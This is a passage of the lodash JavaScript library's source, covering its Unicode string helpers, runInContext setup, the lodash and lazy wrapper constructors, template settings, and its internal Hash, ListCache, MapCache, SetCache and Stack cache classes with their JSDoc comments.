    return hasUnicode(string)
      ? unicodeSize(string)
      : asciiSize(string);
  }

  /**
   * Converts `string` to an array.
   *
   * @private
   * @param {string} string The string to convert.
   * @returns {Array} Returns the converted array.
   */
  function stringToArray(string) {
    return hasUnicode(string)
      ? unicodeToArray(string)
      : asciiToArray(string);
  }

  /**
   * Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace
   * character of `string`.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {number} Returns the index of the last non-whitespace character.
   */
  function trimmedEndIndex(string) {
    var index = string.length;

    while (index-- && reWhitespace.test(string.charAt(index))) {}
    return index;
  }

  /**
   * Used by `_.unescape` to convert HTML entities to characters.
   *
   * @private
   * @param {string} chr The matched character to unescape.
   * @returns {string} Returns the unescaped character.
   */
  var unescapeHtmlChar = basePropertyOf(htmlUnescapes);

  /**
   * Gets the size of a Unicode `string`.
   *
   * @private
   * @param {string} string The string inspect.
   * @returns {number} Returns the string size.
   */
  function unicodeSize(string) {
    var result = reUnicode.lastIndex = 0;
    while (reUnicode.test(string)) {
      ++result;
    }
    return result;
  }

  /**
   * Converts a Unicode `string` to an array.
   *
   * @private
   * @param {string} string The string to convert.
   * @returns {Array} Returns the converted array.
   */
  function unicodeToArray(string) {
    return string.match(reUnicode) || [];
  }

  /**
   * Splits a Unicode `string` into an array of its words.
   *
   * @private
   * @param {string} The string to inspect.
   * @returns {Array} Returns the words of `string`.
   */
  function unicodeWords(string) {
    return string.match(reUnicodeWord) || [];
  }

  /*--------------------------------------------------------------------------*/

  /**
   * Create a new pristine `lodash` function using the `context` object.
   *
   * @static
   * @memberOf _
   * @since 1.1.0
   * @category Util
   * @param {Object} [context=root] The context object.
   * @returns {Function} Returns a new `lodash` function.
   * @example
   *
   * _.mixin({ 'foo': _.constant('foo') });
   *
   * var lodash = _.runInContext();
   * lodash.mixin({ 'bar': lodash.constant('bar') });
   *
   * _.isFunction(_.foo);
   * // => true
   * _.isFunction(_.bar);
   * // => false
   *
   * lodash.isFunction(lodash.foo);
   * // => false
   * lodash.isFunction(lodash.bar);
   * // => true
   *
   * // Create a suped-up `defer` in Node.js.
   * var defer = _.runInContext({ 'setTimeout': setImmediate }).defer;
   */
  var runInContext = (function runInContext(context) {
    context = context == null ? root : _.defaults(root.Object(), context, _.pick(root, contextProps));

    /** Built-in constructor references. */
    var Array = context.Array,
        Date = context.Date,
        Error = context.Error,
        Function = context.Function,
        Math = context.Math,
        Object = context.Object,
        RegExp = context.RegExp,
        String = context.String,
        TypeError = context.TypeError;

    /** Used for built-in method references. */
    var arrayProto = Array.prototype,
        funcProto = Function.prototype,
        objectProto = Object.prototype;

    /** Used to detect overreaching core-js shims. */
    var coreJsData = context['__core-js_shared__'];

    /** Used to resolve the decompiled source of functions. */
    var funcToString = funcProto.toString;

    /** Used to check objects for own properties. */
    var hasOwnProperty = objectProto.hasOwnProperty;

    /** Used to generate unique IDs. */
    var idCounter = 0;

    /** Used to detect methods masquerading as native. */
    var maskSrcKey = (function() {
      var uid = /[^.]+$/.exec(coreJsData && coreJsData.keys && coreJsData.keys.IE_PROTO || '');
      return uid ? ('Symbol(src)_1.' + uid) : '';
    }());

    /**
     * Used to resolve the
     * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
     * of values.
     */
    var nativeObjectToString = objectProto.toString;

    /** Used to infer the `Object` constructor. */
    var objectCtorString = funcToString.call(Object);

    /** Used to restore the original `_` reference in `_.noConflict`. */
    var oldDash = root._;

    /** Used to detect if a method is native. */
    var reIsNative = RegExp('^' +
      funcToString.call(hasOwnProperty).replace(reRegExpChar, '\\$&')
      .replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$'
    );

    /** Built-in value references. */
    var Buffer = moduleExports ? context.Buffer : undefined,
        Symbol = context.Symbol,
        Uint8Array = context.Uint8Array,
        allocUnsafe = Buffer ? Buffer.allocUnsafe : undefined,
        getPrototype = overArg(Object.getPrototypeOf, Object),
        objectCreate = Object.create,
        propertyIsEnumerable = objectProto.propertyIsEnumerable,
        splice = arrayProto.splice,
        spreadableSymbol = Symbol ? Symbol.isConcatSpreadable : undefined,
        symIterator = Symbol ? Symbol.iterator : undefined,
        symToStringTag = Symbol ? Symbol.toStringTag : undefined;

    var defineProperty = (function() {
      try {
        var func = getNative(Object, 'defineProperty');
        func({}, '', {});
        return func;
      } catch (e) {}
    }());

    /** Mocked built-ins. */
    var ctxClearTimeout = context.clearTimeout !== root.clearTimeout && context.clearTimeout,
        ctxNow = Date && Date.now !== root.Date.now && Date.now,
        ctxSetTimeout = context.setTimeout !== root.setTimeout && context.setTimeout;

    /* Built-in method references for those with the same name as other `lodash` methods. */
    var nativeCeil = Math.ceil,
        nativeFloor = Math.floor,
        nativeGetSymbols = Object.getOwnPropertySymbols,
        nativeIsBuffer = Buffer ? Buffer.isBuffer : undefined,
        nativeIsFinite = context.isFinite,
        nativeJoin = arrayProto.join,
        nativeKeys = overArg(Object.keys, Object),
        nativeMax = Math.max,
        nativeMin = Math.min,
        nativeNow = Date.now,
        nativeParseInt = context.parseInt,
        nativeRandom = Math.random,
        nativeReverse = arrayProto.reverse;

    /* Built-in method references that are verified to be native. */
    var DataView = getNative(context, 'DataView'),
        Map = getNative(context, 'Map'),
        Promise = getNative(context, 'Promise'),
        Set = getNative(context, 'Set'),
        WeakMap = getNative(context, 'WeakMap'),
        nativeCreate = getNative(Object, 'create');

    /** Used to store function metadata. */
    var metaMap = WeakMap && new WeakMap;

    /** Used to lookup unminified function names. */
    var realNames = {};

    /** Used to detect maps, sets, and weakmaps. */
    var dataViewCtorString = toSource(DataView),
        mapCtorString = toSource(Map),
        promiseCtorString = toSource(Promise),
        setCtorString = toSource(Set),
        weakMapCtorString = toSource(WeakMap);

    /** Used to convert symbols to primitives and strings. */
    var symbolProto = Symbol ? Symbol.prototype : undefined,
        symbolValueOf = symbolProto ? symbolProto.valueOf : undefined,
        symbolToString = symbolProto ? symbolProto.toString : undefined;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a `lodash` object which wraps `value` to enable implicit method
     * chain sequences. Methods that operate on and return arrays, collections,
     * and functions can be chained together. Methods that retrieve a single value
     * or may return a primitive value will automatically end the chain sequence
     * and return the unwrapped value. Otherwise, the value must be unwrapped
     * with `_#value`.
     *
     * Explicit chain sequences, which must be unwrapped with `_#value`, may be
     * enabled using `_.chain`.
     *
     * The execution of chained methods is lazy, that is, it's deferred until
     * `_#value` is implicitly or explicitly called.
     *
     * Lazy evaluation allows several methods to support shortcut fusion.
     * Shortcut fusion is an optimization to merge iteratee calls; this avoids
     * the creation of intermediate arrays and can greatly reduce the number of
     * iteratee executions. Sections of a chain sequence qualify for shortcut
     * fusion if the section is applied to an array and iteratees accept only
     * one argument. The heuristic for whether a section qualifies for shortcut
     * fusion is subject to change.
     *
     * Chaining is supported in custom builds as long as the `_#value` method is
     * directly or indirectly included in the build.
     *
     * In addition to lodash methods, wrappers have `Array` and `String` methods.
     *
     * The wrapper `Array` methods are:
     * `concat`, `join`, `pop`, `push`, `shift`, `sort`, `splice`, and `unshift`
     *
     * The wrapper `String` methods are:
     * `replace` and `split`
     *
     * The wrapper methods that support shortcut fusion are:
     * `at`, `compact`, `drop`, `dropRight`, `dropWhile`, `filter`, `find`,
     * `findLast`, `head`, `initial`, `last`, `map`, `reject`, `reverse`, `slice`,
     * `tail`, `take`, `takeRight`, `takeRightWhile`, `takeWhile`, and `toArray`
     *
     * The chainable wrapper methods are:
     * `after`, `ary`, `assign`, `assignIn`, `assignInWith`, `assignWith`, `at`,
     * `before`, `bind`, `bindAll`, `bindKey`, `castArray`, `chain`, `chunk`,
     * `commit`, `compact`, `concat`, `conforms`, `constant`, `countBy`, `create`,
     * `curry`, `debounce`, `defaults`, `defaultsDeep`, `defer`, `delay`,
     * `difference`, `differenceBy`, `differenceWith`, `drop`, `dropRight`,
     * `dropRightWhile`, `dropWhile`, `extend`, `extendWith`, `fill`, `filter`,
     * `flatMap`, `flatMapDeep`, `flatMapDepth`, `flatten`, `flattenDeep`,
     * `flattenDepth`, `flip`, `flow`, `flowRight`, `fromPairs`, `functions`,
     * `functionsIn`, `groupBy`, `initial`, `intersection`, `intersectionBy`,
     * `intersectionWith`, `invert`, `invertBy`, `invokeMap`, `iteratee`, `keyBy`,
     * `keys`, `keysIn`, `map`, `mapKeys`, `mapValues`, `matches`, `matchesProperty`,
     * `memoize`, `merge`, `mergeWith`, `method`, `methodOf`, `mixin`, `negate`,
     * `nthArg`, `omit`, `omitBy`, `once`, `orderBy`, `over`, `overArgs`,
     * `overEvery`, `overSome`, `partial`, `partialRight`, `partition`, `pick`,
     * `pickBy`, `plant`, `property`, `propertyOf`, `pull`, `pullAll`, `pullAllBy`,
     * `pullAllWith`, `pullAt`, `push`, `range`, `rangeRight`, `rearg`, `reject`,
     * `remove`, `rest`, `reverse`, `sampleSize`, `set`, `setWith`, `shuffle`,
     * `slice`, `sort`, `sortBy`, `splice`, `spread`, `tail`, `take`, `takeRight`,
     * `takeRightWhile`, `takeWhile`, `tap`, `throttle`, `thru`, `toArray`,
     * `toPairs`, `toPairsIn`, `toPath`, `toPlainObject`, `transform`, `unary`,
     * `union`, `unionBy`, `unionWith`, `uniq`, `uniqBy`, `uniqWith`, `unset`,
     * `unshift`, `unzip`, `unzipWith`, `update`, `updateWith`, `values`,
     * `valuesIn`, `without`, `wrap`, `xor`, `xorBy`, `xorWith`, `zip`,
     * `zipObject`, `zipObjectDeep`, and `zipWith`
     *
     * The wrapper methods that are **not** chainable by default are:
     * `add`, `attempt`, `camelCase`, `capitalize`, `ceil`, `clamp`, `clone`,
     * `cloneDeep`, `cloneDeepWith`, `cloneWith`, `conformsTo`, `deburr`,
     * `defaultTo`, `divide`, `each`, `eachRight`, `endsWith`, `eq`, `escape`,
     * `escapeRegExp`, `every`, `find`, `findIndex`, `findKey`, `findLast`,
     * `findLastIndex`, `findLastKey`, `first`, `floor`, `forEach`, `forEachRight`,
     * `forIn`, `forInRight`, `forOwn`, `forOwnRight`, `get`, `gt`, `gte`, `has`,
     * `hasIn`, `head`, `identity`, `includes`, `indexOf`, `inRange`, `invoke`,
     * `isArguments`, `isArray`, `isArrayBuffer`, `isArrayLike`, `isArrayLikeObject`,
     * `isBoolean`, `isBuffer`, `isDate`, `isElement`, `isEmpty`, `isEqual`,
     * `isEqualWith`, `isError`, `isFinite`, `isFunction`, `isInteger`, `isLength`,
     * `isMap`, `isMatch`, `isMatchWith`, `isNaN`, `isNative`, `isNil`, `isNull`,
     * `isNumber`, `isObject`, `isObjectLike`, `isPlainObject`, `isRegExp`,
     * `isSafeInteger`, `isSet`, `isString`, `isUndefined`, `isTypedArray`,
     * `isWeakMap`, `isWeakSet`, `join`, `kebabCase`, `last`, `lastIndexOf`,
     * `lowerCase`, `lowerFirst`, `lt`, `lte`, `max`, `maxBy`, `mean`, `meanBy`,
     * `min`, `minBy`, `multiply`, `noConflict`, `noop`, `now`, `nth`, `pad`,
     * `padEnd`, `padStart`, `parseInt`, `pop`, `random`, `reduce`, `reduceRight`,
     * `repeat`, `result`, `round`, `runInContext`, `sample`, `shift`, `size`,
     * `snakeCase`, `some`, `sortedIndex`, `sortedIndexBy`, `sortedLastIndex`,
     * `sortedLastIndexBy`, `startCase`, `startsWith`, `stubArray`, `stubFalse`,
     * `stubObject`, `stubString`, `stubTrue`, `subtract`, `sum`, `sumBy`,
     * `template`, `times`, `toFinite`, `toInteger`, `toJSON`, `toLength`,
     * `toLower`, `toNumber`, `toSafeInteger`, `toString`, `toUpper`, `trim`,
     * `trimEnd`, `trimStart`, `truncate`, `unescape`, `uniqueId`, `upperCase`,
     * `upperFirst`, `value`, and `words`
     *
     * @name _
     * @constructor
     * @category Seq
     * @param {*} value The value to wrap in a `lodash` instance.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var wrapped = _([1, 2, 3]);
     *
     * // Returns an unwrapped value.
     * wrapped.reduce(_.add);
     * // => 6
     *
     * // Returns a wrapped value.
     * var squares = wrapped.map(square);
     *
     * _.isArray(squares);
     * // => false
     *
     * _.isArray(squares.value());
     * // => true
     */
    function lodash(value) {
      if (isObjectLike(value) && !isArray(value) && !(value instanceof LazyWrapper)) {
        if (value instanceof LodashWrapper) {
          return value;
        }
        if (hasOwnProperty.call(value, '__wrapped__')) {
          return wrapperClone(value);
        }
      }
      return new LodashWrapper(value);
    }

    /**
     * The base implementation of `_.create` without support for assigning
     * properties to the created object.
     *
     * @private
     * @param {Object} proto The object to inherit from.
     * @returns {Object} Returns the new object.
     */
    var baseCreate = (function() {
      function object() {}
      return function(proto) {
        if (!isObject(proto)) {
          return {};
        }
        if (objectCreate) {
          return objectCreate(proto);
        }
        object.prototype = proto;
        var result = new object;
        object.prototype = undefined;
        return result;
      };
    }());

    /**
     * The function whose prototype chain sequence wrappers inherit from.
     *
     * @private
     */
    function baseLodash() {
      // No operation performed.
    }

    /**
     * The base constructor for creating `lodash` wrapper objects.
     *
     * @private
     * @param {*} value The value to wrap.
     * @param {boolean} [chainAll] Enable explicit method chain sequences.
     */
    function LodashWrapper(value, chainAll) {
      this.__wrapped__ = value;
      this.__actions__ = [];
      this.__chain__ = !!chainAll;
      this.__index__ = 0;
      this.__values__ = undefined;
    }

    /**
     * By default, the template delimiters used by lodash are like those in
     * embedded Ruby (ERB) as well as ES2015 template strings. Change the
     * following template settings to use alternative delimiters.
     *
     * @static
     * @memberOf _
     * @type {Object}
     */
    lodash.templateSettings = {

      /**
       * Used to detect `data` property values to be HTML-escaped.
       *
       * @memberOf _.templateSettings
       * @type {RegExp}
       */
      'escape': reEscape,

      /**
       * Used to detect code to be evaluated.
       *
       * @memberOf _.templateSettings
       * @type {RegExp}
       */
      'evaluate': reEvaluate,

      /**
       * Used to detect `data` property values to inject.
       *
       * @memberOf _.templateSettings
       * @type {RegExp}
       */
      'interpolate': reInterpolate,

      /**
       * Used to reference the data object in the template text.
       *
       * @memberOf _.templateSettings
       * @type {string}
       */
      'variable': '',

      /**
       * Used to import variables into the compiled template.
       *
       * @memberOf _.templateSettings
       * @type {Object}
       */
      'imports': {

        /**
         * A reference to the `lodash` function.
         *
         * @memberOf _.templateSettings.imports
         * @type {Function}
         */
        '_': lodash
      }
    };

    // Ensure wrappers are instances of `baseLodash`.
    lodash.prototype = baseLodash.prototype;
    lodash.prototype.constructor = lodash;

    LodashWrapper.prototype = baseCreate(baseLodash.prototype);
    LodashWrapper.prototype.constructor = LodashWrapper;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a lazy wrapper object which wraps `value` to enable lazy evaluation.
     *
     * @private
     * @constructor
     * @param {*} value The value to wrap.
     */
    function LazyWrapper(value) {
      this.__wrapped__ = value;
      this.__actions__ = [];
      this.__dir__ = 1;
      this.__filtered__ = false;
      this.__iteratees__ = [];
      this.__takeCount__ = MAX_ARRAY_LENGTH;
      this.__views__ = [];
    }

    /**
     * Creates a clone of the lazy wrapper object.
     *
     * @private
     * @name clone
     * @memberOf LazyWrapper
     * @returns {Object} Returns the cloned `LazyWrapper` object.
     */
    function lazyClone() {
      var result = new LazyWrapper(this.__wrapped__);
      result.__actions__ = copyArray(this.__actions__);
      result.__dir__ = this.__dir__;
      result.__filtered__ = this.__filtered__;
      result.__iteratees__ = copyArray(this.__iteratees__);
      result.__takeCount__ = this.__takeCount__;
      result.__views__ = copyArray(this.__views__);
      return result;
    }

    /**
     * Reverses the direction of lazy iteration.
     *
     * @private
     * @name reverse
     * @memberOf LazyWrapper
     * @returns {Object} Returns the new reversed `LazyWrapper` object.
     */
    function lazyReverse() {
      if (this.__filtered__) {
        var result = new LazyWrapper(this);
        result.__dir__ = -1;
        result.__filtered__ = true;
      } else {
        result = this.clone();
        result.__dir__ *= -1;
      }
      return result;
    }

    /**
     * Extracts the unwrapped value from its lazy wrapper.
     *
     * @private
     * @name value
     * @memberOf LazyWrapper
     * @returns {*} Returns the unwrapped value.
     */
    function lazyValue() {
      var array = this.__wrapped__.value(),
          dir = this.__dir__,
          isArr = isArray(array),
          isRight = dir < 0,
          arrLength = isArr ? array.length : 0,
          view = getView(0, arrLength, this.__views__),
          start = view.start,
          end = view.end,
          length = end - start,
          index = isRight ? end : (start - 1),
          iteratees = this.__iteratees__,
          iterLength = iteratees.length,
          resIndex = 0,
          takeCount = nativeMin(length, this.__takeCount__);

      if (!isArr || (!isRight && arrLength == length && takeCount == length)) {
        return baseWrapperValue(array, this.__actions__);
      }
      var result = [];

      outer:
      while (length-- && resIndex < takeCount) {
        index += dir;

        var iterIndex = -1,
            value = array[index];

        while (++iterIndex < iterLength) {
          var data = iteratees[iterIndex],
              iteratee = data.iteratee,
              type = data.type,
              computed = iteratee(value);

          if (type == LAZY_MAP_FLAG) {
            value = computed;
          } else if (!computed) {
            if (type == LAZY_FILTER_FLAG) {
              continue outer;
            } else {
              break outer;
            }
          }
        }
        result[resIndex++] = value;
      }
      return result;
    }

    // Ensure `LazyWrapper` is an instance of `baseLodash`.
    LazyWrapper.prototype = baseCreate(baseLodash.prototype);
    LazyWrapper.prototype.constructor = LazyWrapper;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a hash object.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function Hash(entries) {
      var index = -1,
          length = entries == null ? 0 : entries.length;

      this.clear();
      while (++index < length) {
        var entry = entries[index];
        this.set(entry[0], entry[1]);
      }
    }

    /**
     * Removes all key-value entries from the hash.
     *
     * @private
     * @name clear
     * @memberOf Hash
     */
    function hashClear() {
      this.__data__ = nativeCreate ? nativeCreate(null) : {};
      this.size = 0;
    }

    /**
     * Removes `key` and its value from the hash.
     *
     * @private
     * @name delete
     * @memberOf Hash
     * @param {Object} hash The hash to modify.
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function hashDelete(key) {
      var result = this.has(key) && delete this.__data__[key];
      this.size -= result ? 1 : 0;
      return result;
    }

    /**
     * Gets the hash value for `key`.
     *
     * @private
     * @name get
     * @memberOf Hash
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function hashGet(key) {
      var data = this.__data__;
      if (nativeCreate) {
        var result = data[key];
        return result === HASH_UNDEFINED ? undefined : result;
      }
      return hasOwnProperty.call(data, key) ? data[key] : undefined;
    }

    /**
     * Checks if a hash value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf Hash
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function hashHas(key) {
      var data = this.__data__;
      return nativeCreate ? (data[key] !== undefined) : hasOwnProperty.call(data, key);
    }

    /**
     * Sets the hash `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf Hash
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the hash instance.
     */
    function hashSet(key, value) {
      var data = this.__data__;
      this.size += this.has(key) ? 0 : 1;
      data[key] = (nativeCreate && value === undefined) ? HASH_UNDEFINED : value;
      return this;
    }

    // Add methods to `Hash`.
    Hash.prototype.clear = hashClear;
    Hash.prototype['delete'] = hashDelete;
    Hash.prototype.get = hashGet;
    Hash.prototype.has = hashHas;
    Hash.prototype.set = hashSet;

    /*------------------------------------------------------------------------*/

    /**
     * Creates an list cache object.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function ListCache(entries) {
      var index = -1,
          length = entries == null ? 0 : entries.length;

      this.clear();
      while (++index < length) {
        var entry = entries[index];
        this.set(entry[0], entry[1]);
      }
    }

    /**
     * Removes all key-value entries from the list cache.
     *
     * @private
     * @name clear
     * @memberOf ListCache
     */
    function listCacheClear() {
      this.__data__ = [];
      this.size = 0;
    }

    /**
     * Removes `key` and its value from the list cache.
     *
     * @private
     * @name delete
     * @memberOf ListCache
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function listCacheDelete(key) {
      var data = this.__data__,
          index = assocIndexOf(data, key);

      if (index < 0) {
        return false;
      }
      var lastIndex = data.length - 1;
      if (index == lastIndex) {
        data.pop();
      } else {
        splice.call(data, index, 1);
      }
      --this.size;
      return true;
    }

    /**
     * Gets the list cache value for `key`.
     *
     * @private
     * @name get
     * @memberOf ListCache
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function listCacheGet(key) {
      var data = this.__data__,
          index = assocIndexOf(data, key);

      return index < 0 ? undefined : data[index][1];
    }

    /**
     * Checks if a list cache value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf ListCache
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function listCacheHas(key) {
      return assocIndexOf(this.__data__, key) > -1;
    }

    /**
     * Sets the list cache `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf ListCache
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the list cache instance.
     */
    function listCacheSet(key, value) {
      var data = this.__data__,
          index = assocIndexOf(data, key);

      if (index < 0) {
        ++this.size;
        data.push([key, value]);
      } else {
        data[index][1] = value;
      }
      return this;
    }

    // Add methods to `ListCache`.
    ListCache.prototype.clear = listCacheClear;
    ListCache.prototype['delete'] = listCacheDelete;
    ListCache.prototype.get = listCacheGet;
    ListCache.prototype.has = listCacheHas;
    ListCache.prototype.set = listCacheSet;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a map cache object to store key-value pairs.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function MapCache(entries) {
      var index = -1,
          length = entries == null ? 0 : entries.length;

      this.clear();
      while (++index < length) {
        var entry = entries[index];
        this.set(entry[0], entry[1]);
      }
    }

    /**
     * Removes all key-value entries from the map.
     *
     * @private
     * @name clear
     * @memberOf MapCache
     */
    function mapCacheClear() {
      this.size = 0;
      this.__data__ = {
        'hash': new Hash,
        'map': new (Map || ListCache),
        'string': new Hash
      };
    }

    /**
     * Removes `key` and its value from the map.
     *
     * @private
     * @name delete
     * @memberOf MapCache
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function mapCacheDelete(key) {
      var result = getMapData(this, key)['delete'](key);
      this.size -= result ? 1 : 0;
      return result;
    }

    /**
     * Gets the map value for `key`.
     *
     * @private
     * @name get
     * @memberOf MapCache
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function mapCacheGet(key) {
      return getMapData(this, key).get(key);
    }

    /**
     * Checks if a map value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf MapCache
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function mapCacheHas(key) {
      return getMapData(this, key).has(key);
    }

    /**
     * Sets the map `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf MapCache
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the map cache instance.
     */
    function mapCacheSet(key, value) {
      var data = getMapData(this, key),
          size = data.size;

      data.set(key, value);
      this.size += data.size == size ? 0 : 1;
      return this;
    }

    // Add methods to `MapCache`.
    MapCache.prototype.clear = mapCacheClear;
    MapCache.prototype['delete'] = mapCacheDelete;
    MapCache.prototype.get = mapCacheGet;
    MapCache.prototype.has = mapCacheHas;
    MapCache.prototype.set = mapCacheSet;

    /*------------------------------------------------------------------------*/

    /**
     *
     * Creates an array cache object to store unique values.
     *
     * @private
     * @constructor
     * @param {Array} [values] The values to cache.
     */
    function SetCache(values) {
      var index = -1,
          length = values == null ? 0 : values.length;

      this.__data__ = new MapCache;
      while (++index < length) {
        this.add(values[index]);
      }
    }

    /**
     * Adds `value` to the array cache.
     *
     * @private
     * @name add
     * @memberOf SetCache
     * @alias push
     * @param {*} value The value to cache.
     * @returns {Object} Returns the cache instance.
     */
    function setCacheAdd(value) {
      this.__data__.set(value, HASH_UNDEFINED);
      return this;
    }

    /**
     * Checks if `value` is in the array cache.
     *
     * @private
     * @name has
     * @memberOf SetCache
     * @param {*} value The value to search for.
     * @returns {number} Returns `true` if `value` is found, else `false`.
     */
    function setCacheHas(value) {
      return this.__data__.has(value);
    }

    // Add methods to `SetCache`.
    SetCache.prototype.add = SetCache.prototype.push = setCacheAdd;
    SetCache.prototype.has = setCacheHas;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a stack cache object to store key-value pairs.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function Stack(entries) {
      var data = this.__data__ = new ListCache(entries);
      this.size = data.size;
    }

    /**
     * Removes all key-value entries from the stack.
     *
     * @private
     * @name clear
     * @memberOf Stack
     */
    function stackClear() {
      this.__data__ = new ListCache;
      this.size = 0;
    }

    /**
     * Removes `key` and its value from the stack.
     *
     * @private
     * @name delete
     * @memberOf Stack
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function stackDelete(key) {
      var data = this.__data__,
          result = data['delete'](key);

      this.size = data.size;
      return result;
    }

    /**
     * Gets the stack value for `key`.
     *
     * @private
     * @name get
     * @memberOf Stack
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function stackGet(key) {
      return this.__data__.get(key);
    }

    /**
     * Checks if a stack value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf Stack
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function stackHas(key) {
      return this.__data__.has(key);
    }

    /**
     * Sets the stack `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf Stack
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the stack cache instance.
     */
    function stackSet(key, value) {
      var data = this.__data__;
      if (data instanceof ListCache) {
        var pairs = data.__data__;
        if (!Map || (pairs.length < LARGE_ARRAY_SIZE - 1)) {
          pairs.push([key, value]);
          this.size = ++data.size;
          return this;
        }
        data = this.__data__ = new MapCache(pairs);
      }
      data.set(key, value);
      this.size = data.size;
      return this;
    }

    // Add methods to `Stack`.
    Stack.prototype.clear = stackClear;
    Stack.prototype['delete'] = stackDelete;
    Stack.prototype.get = stackGet;
    Stack.prototype.has = stackHas;
    Stack.prototype.set = stackSet;

    /*------------------------------------------------------------------------*/

    /**
     * Creates an array of the enumerable property names of the array-like `value`.
     *
     * @private
     * @param {*} value The value to query.
     * @param {boolean} inherited Specify returning inherited property names.
     * @returns {Array} Returns the array of property names.
     */
    function arrayLikeKeys(value, inherited) {
      var isArr = isArray(value),
          isArg = !isArr && isArguments(value),
          isBuff = !isArr && !isArg && isBuffer(value),
          isType = !isArr && !isArg && !isBuff && isTypedArray(value),
          skipIndexes = isArr || isArg || isBuff || isType,
          result = skipIndexes ? baseTimes(value.length, String) : [],
          length = result.length;

      for (var key in value) {
        if ((inherited || hasOwnProperty.call(value, key)) &&
            !(skipIndexes && (
               // Safari 9 has enumerable `arguments.length` in strict mode.
               key == 'length' ||
               // Node.js 0.10 has enumerable non-index properties on buffers.
               (isBuff && (key == 'offset' || key == 'parent')) ||
               // PhantomJS 2 has enumerable non-index properties on typed arrays.
               (isType && (key == 'buffer' || key == 'byteLength' || key == 'byteOffset')) ||
               // Skip index properties.
               isIndex(key, length)
            ))) {
          result.push(key);
        }
      }
      return result;
    }

    /**
     * A specialized version of `_.sample` for arrays.
     *
     * @private
     * @param {Array} array The array to sample.
     * @returns {*} Returns the random element.
     */
    function arraySample(array) {
      var length = array.length;
      return length ? array[baseRandom(0, length - 1)] : undefined;
    }

    /**
     * A specialized version of `_.sampleSize` for arrays.
     *
     * @private
     * @param {Array} array The array to sample.
     * @param {number} n The number of elements to sample.
     * @returns {Array} Returns the random elements.
     */
    function arraySampleSize(array, n) {
      return shuffleSelf(copyArray(array), baseClamp(n, 0, array.length));
    }

    /**
     * A specialized version of `_.shuffle` for arrays.
     *
     * @private
     * @param {Array} array The array to shuffle.
     * @returns {Array} Returns the new shuffled array.
     */
    function arrayShuffle(array) {
      return shuffleSelf(copyArray(array));
    }

    /**
     * This function is like `assignValue` except that it doesn't assign
     * `undefined` values.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {string} key The key of the property to assign.
     * @param {*} value The value to assign.
     */
    function assignMergeValue(object, key, value) {
      if ((value !== undefined && !eq(object[key], value)) ||
          (value === undefined && !(key in object))) {
        baseAssignValue(object, key, value);
      }
    }

    /**
     * Assigns `value` to `key` of `object` if the existing value is not equivalent
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {string} key The key of the property to assign.
     * @param {*} value The value to assign.
     */
    function assignValue(object, key, value) {
      var objValue = object[key];
      if (!(hasOwnProperty.call(object, key) && eq(objValue, value)) ||
          (value === undefined && !(key in object))) {
        baseAssignValue(object, key, value);
      }
    }

    /**
     * Gets the index at which the `key` is found in `array` of key-value pairs.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {*} key The key to search for.
     * @returns {number} Returns the index of the matched value, else `-1`.
     */
    function assocIndexOf(array, key) {
      var length = array.length;
      while (length--) {
        if (eq(array[length][0], key)) {
          return length;
        }
      }
      return -1;
    }

    /**
     * Aggregates elements of `collection` on `accumulator` with keys transformed
     * by `iteratee` and values set by `setter`.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} setter The function to set `accumulator` values.
     * @param {Function} iteratee The iteratee to transform keys.
     * @param {Object} accumulator The initial aggregated object.
     * @returns {Function} Returns `accumulator`.
     */
